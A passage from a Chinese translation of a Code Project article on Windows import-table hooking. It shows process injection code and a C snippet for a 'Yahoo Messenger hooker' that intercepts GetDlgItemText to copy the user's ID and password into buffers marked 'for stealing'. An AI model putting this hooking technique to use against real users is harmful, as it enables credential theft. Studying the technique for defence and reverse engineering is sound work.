202.                       pimage_nt_headers->OptionalHeader.SizeOfImage,

203.                       PAGE_EXECUTE_READWRITE,

204.                      &OldProtect);

205.                      

206.     WriteProcessMemory( hProcess,

207.                        (LPVOID)(dwImageBase),

208.                         pMem,

209.                         pimage_nt_headers->OptionalHeader.SizeOfImage,

210.                        &dwBytes);

VirtualProtectEx() PAGE_EXECUTE_READWRITE 保护类型设置页访问权限。当使用WriteProcessMemory ,以及PAGE_EXECUTE 在可执行页的情况下,具有PAGE_READWRITE 访问权限是必要的。

  1. 现在,即将解除对这个进程的冻结,生活将重新开始,好像什么都没发生。试着点击about菜单项,你将看到Figure 13――这是注入生活的第一印象!

212.     ResumeThread(hThread);

Figure 13 - Runtime Injection into ShellAbout() Thunk

我在想,如其注入到其它的API thunk里,还不如把其它的DLL上传到目标进程里,并把受害thunk重定向到它,那在另一篇文章[3]里有详细地解释。下一节将讨论一点实现它而可能会带来的灾难。你可以把它想像成海啸。


 

5    特洛伊木马

屏蔽你的Web浏览器总是弹出窗口,关闭你的IE自动安装Active-X控件和插件。它将通过OLE组件或小DLL插件爬到你的计算机里,并在进程里苏醒过来。有时候,这个生命是在特殊进程的导入表里,如Yahoo Messenger MSN Messenger。它能hook所有的Windows控件并过滤APIoh my god!我的e-mail密码去哪了!这是用户级rootkit [7]的典型特征。它能成立你的计算机的主宰,并窃取你的重要信息。反病毒软件只能扫描文件映像;它们对runtime进程注入无计可施。因此,当你在网上冲浪时;一定要小心,一定要使用强防火墙过滤器。

5.1  How works a Yahoo Messenger hooker?

我介绍一下写Yahoo Messenger hooker的步骤:

  1. 通过FindWindow()Yahoo Messenger的类名得到它的句柄。

2.            HWND hWnd = FindWindow("YahooBuddyMain", NULL);

  1. 像前面章节那样,实现到它的进程的重定向。
  2. GetDlgItemText() 的导入thunk执行这个注入,以过滤它的成员。

5.            UINT GetDlgItemText( HWND hDlg,

6.                                 int nIDDlgItem,

7.                                 LPTSTR lpString,

8.                                 int nMaxCount);

  1. 比较dialog item IDnIDDlgItem(它是特殊的ID,用来检测当前用的是哪一个item)。如果发现ID,用原始的GetDlgItemText() hook这个字符串。

10.        CHAR pYahooID[127];

11.        CHAR pPassword[127];

12.         

13.        switch(nIDDlgItem)

14.        {

15.        case 211: // Yahoo ID

16.            GetDlgItemText(hDlg, nIDDlgItem, pYahooID, 127); // for stealing

17.            // ...

18.            GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original

19.            break;

20.            

21.        case 212: // Password

22.            GetDlgItemText(hDlg, nIDDlgItem, pPassword, 127); // for stealing

23.            // ...

24.            GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original

25.            break;

26.            

27.        default:

28.            GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original 

29.        }

Figure 14 - Hooking Yahoo Messenger

现在,我认为没有哪个地方是安全的了。有些人只用一小段代码就能偷走我的Yahoo ID和密码。我们生活在不安全的世界里!


 

6    结论

导入表是Windows可执行文件的基本构成部分。导入表实现的知识可以帮助我们认识到在runtime期间,API是怎样被请求的。你可以把导入表重定向到当前进程内存里的其它可执行内存,既可以用你自己的PE loader阻止逆向活动,也可以hook API函数。通过从外部冻结和解冻在runtime里修改进程的导入表是有可能的,这样的灾难强迫我们考虑更多的安全设备,例如反病毒,防火墙,等等;然而,它们对世界上每天出现的一些新方法爱莫能助。此外,这个概念帮助我们建立我们的虚拟机监控器,以在分开的WindowsLinux环境里运行Windows可执行文件,因此,我不再需要Windows系统来运行我的Windows EXE文件!

Read more:

1.      Inject your code to a Portable Executable file, The Code Project, December 2005.

2.      Capturing Window Controls and Modifying their properties, The Code Project, February 2005.

3.      Three Ways to Inject Your Code into Another Process, Robert Kuster , The Code Project, July 2003.

Documents:

4.      Undocumented Windows® 2000 Secrets: A Programmer's Cookbook, Sven B. Schreiber, Addison-Wesley, July 2001, ISBN 0-201-72187-2.

5.      Undocumented Functions for Microsoft® Windows® NT®/ 2000, Tomasz Nowak and others, NTInternals team, 1999-2005.

Links:

6.      NTCore, System and Security team.

7.      Rootkit, The Online Rootkit Magazine.


©2000-2007 PEdiy.com All rights reserved.
By PEDIY